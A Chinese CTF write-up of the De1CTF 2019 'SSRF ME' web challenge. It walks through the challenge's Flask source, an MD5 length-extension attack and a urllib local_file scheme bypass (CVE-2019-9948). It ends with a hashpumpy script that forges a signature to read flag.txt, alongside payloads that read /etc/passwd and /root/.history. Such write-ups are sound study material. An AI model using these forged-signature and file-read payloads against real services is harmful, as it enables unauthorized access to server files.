浅析De1CTF 2019的两道web SSRF ME && ShellShellShell

0x0 前言

 这两道题目一个目测感觉是送分题还有一道是原题,但是过程挺有意思的,这里简单记录下。

0x1 题目介绍

SSRF ME

ShellShellShell

这两道题其实有点偏脑洞成分,不过给出了hint ,下面主要挑点有价值的点来学习下。

0x2 SSRF ME 解题过程

  这个题目不是特别有意思,简单的python审计+ Md5扩展长度攻击,但是有意思的是可以总结下Md5扩展攻击的秒题思路,以及脚本编写。

题目链接 (我做的时候题目环境还在:)

0x2.1 step1 审计源代码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

这里丢一下我当时自己再做这个题目写的一些草稿。

# 自己跟一遍然后梳理逻辑记录下来,多次重复锻炼然后再提高梳理逻辑的速度。
    action = urllib.unquote(request.cookies.get("action"))
    # print(action)
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request
        .cookies.get("sign"))
    ip = request.remote_addr
    # 这里通过 http协议的header头Cookies: action=123;sign=ss
    # 还有URLPath的query: ?param=123
    # 去设置  class Task 初始化实例时 调用的实例
        if(waf(param)): # file protocol can be bypassed by use local-file:// (urllib cve)   
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) # follow it
    #     task = Task(action, param, sign, ip)
    # return json.dumps(task.Exec()) 这里调用了Exec,而且采用了json.dumps return到了前端
        def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        print ip
   # 读下Exec,简化下逻辑
  # 首先self.checkSign() 第一重限制
  #     def checkSign(self): 核心 getSign(self.action, self.param) == self.sign
  #     def getSign(action , param) 核心:
  #                         return hashlib.md5(secert_key + param + action).hexdigest()
    # 然后分析下代码:
  if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param) # here is vulunerability
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp # here,just print resp in server,dont't output user
                    tmpfile.write(resp) # save result to result.txt
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action: # so we must run it to output result
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
  # 整理下整个题目的思路:
  # 两个限制的绕过
  # def waf(content) -----> local-file://
  # def checkSign(self) ---> md5扩展攻击

  # 这里比较让我烦躁的就是md5扩展攻击,因为我有时候忘记原理了,这里又要看下文章回顾下,一方面当时好像自己    #  没写一些脚本去说明和简化这类型的通用解法
  #  https://github.com/mstxq17/cryptograph-of-web 之前自己写的原理介绍,但是没写工具介绍
  # 趁着这次做题,补充下做题的工具做法

@app.route("/geneSign", methods=['GET', 'POST']) # get step1 
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 # secert_key + param + action -> secert_key(len:16) + param + 'scan'(len:4)
 # need secert_key(len:16) + 'local-file:///etc/passwd' + 'readscan'(len:4)
 # secert_key(len:16) + 'local-file:///etc/passwd'(len:24) + 'scan' 这里要变换下key
 # /geneSign?param=local-file:///etc/pwd 
 #  fe28521b6c224cad35396cacdb118890
 # secert_key <=> secert_key(len:16) + 'local-file:///etc/passwd'(len:24) (len:40)

写的比较乱哈,当时有脑抽了,本来到这里,完全可以利用那个

/geneSign?param=local-file:///etc/passwdread 生成对应的md5的了,

我当时也简单想了下,当时自己把正确的出题思路想通了,结果。。。以为就不行了。

这个题目这样判断的话就没办法了。

if "read" in self.action => if "scanread" in self.action:

(因为你是不可能获取到read为结尾的md5呀,是不是特别好理解,我当时就是理所当然了,以为代码是这样的。)

当时可能眼花了,其实另一方面是我觉得这个题目虽然挺普通,但是能再次回顾下md5扩展思路的一些做题技巧,因为自己大一大二一直在学习知识拓展自己的知识面,所以很少做ctf的题目,平时遇到什么类型的题基本就是自己重新理解然后写脚本来做的,所以做题速度很慢,反正就是特别菜那种,所以吸取教训之后,我就需要把一些常见的知识点写出快速秒题脚本和思路总结起来。 let us start………….

0x2.2 md5扩展攻击原理及其脚本浅析

 关于原理,小弟不才,写了篇文章放在了githud上cryptograph-of-web

我们可以通俗简单理解下md5扩展攻击原理:

常用的攻击形式:

已知: md5(secretkey+'x')

未知: key的值

求md5(secretkey+'x补位长度个\x00'+'aaa') 其实更通用的说法就是构造个能带有aaa的md5值

原理很简单:

MD5以512比特(64字节)为一组进行分组加密得到ABCD变量最后ABCD变量的级联就是最后的MD5值

那么大于64字节之后,那么ABCD变量就是前面64字节md5后的结果。

根据题目来看看怎么攻击:

0x2.3 简单分析预期考点local_file

首先我们要确定下我们读取的文件的路径:

看到waf再看到check.startswith匹配开头file我就知道先去搜下cve了

网址如下:

cve database

CVE-2019-9948

很明显有这个bug,我们跟进源码看看为啥。

mac安装路径:

/usr/local/Cellar/python@2/2.7.15_1/Frameworks/Python.framework/Versions/2.7/lib/python2.7

然后简单看下urlopen方法

看到file 协议也是调用了封装的local_file协议

成因及其代码都相当简单,这个不是重点就不多讲了。

0x2.4 Hashdump工具使用教程

我们根据文件读取,可以读取/root/.history然后得到flag路径,就是local_file:///app/flag.txt

那么我们怎么构造满足条件的md5呢

先生成已知值:md5(secretkey+local_file:///app/flag.txt + 'scan')

77a4adb63c86bd6e8ad440e6123c3872

构造生成: md5(secretkey+local_file:///app/flag.txt + 'scan' + 'read')

其实你有没有发现,这里跟我上面说的有点不太一样,其实你换个角度想下

也就是把secretkey+local_file:///app/flag.txt =>看成secretkey不就是和上面等价了吗

然后打开:

然后用下小脚本转换为urlencode形式

scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read
str = r'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read'
print str.replace(r'\x','%')

得到:

scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read

然后按照python代码传递对应的参数即可。

0x 2.5 python脚本

 我感觉调用那个hashdump有点麻烦,那么有没有相关的python库能直接调用呢。

@一叶飘零师傅写的脚本

#!/usr/bin/python
# -*- coding:utf-8 -*- 

import hashpumpy
import requests
import urllib

url = 'local_file:flag.txt'
r = requests.get('http://139.180.128.86/geneSign?param='+url)
old_sign = r.content
new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
cookies={
'sign': new_sign[0],
'action': urllib.quote(new_sign[1][19:])
}
r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies)
print(r.content)

这里有个关键的配置,可以简单说下

new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)

1.oldsign代表是md5(secret+'local_file:flag.txt'+'scan')

2.url + 'scan'代表'local_file:flag.tx' + 'scan' =local_file:flag.txscan

3.read作为按要求填充的位置。

其实42和16都是可以,关键是你怎么计算key的长度和选取input的内容。

这里取key为16那么input的内容就是local_file:flag.txtscan

上面我那个样例取key为42那么input的内容就是'scan'。

0x2.6 谈谈关于路径查找及其协议路径问题

关于flag的路径,我是通过读取/root/.history 猜到的。

其实这个题目其实都不用绕过协议也行

我们直接传入文件名也可以读取,因为不存在协议的时候,默认就是file协议

所以local-file也是可以的(我也不知道作者为啥这样写)

然后我们也可以可以发现前面payload:

local_file:flag.txt路径就是相对脚本的路径

local_file://就必须使用绝对路径(协议一般都是这样)

我们可以简单分析下代码:

点击收藏 | 0 关注 | 1
登录 后跟帖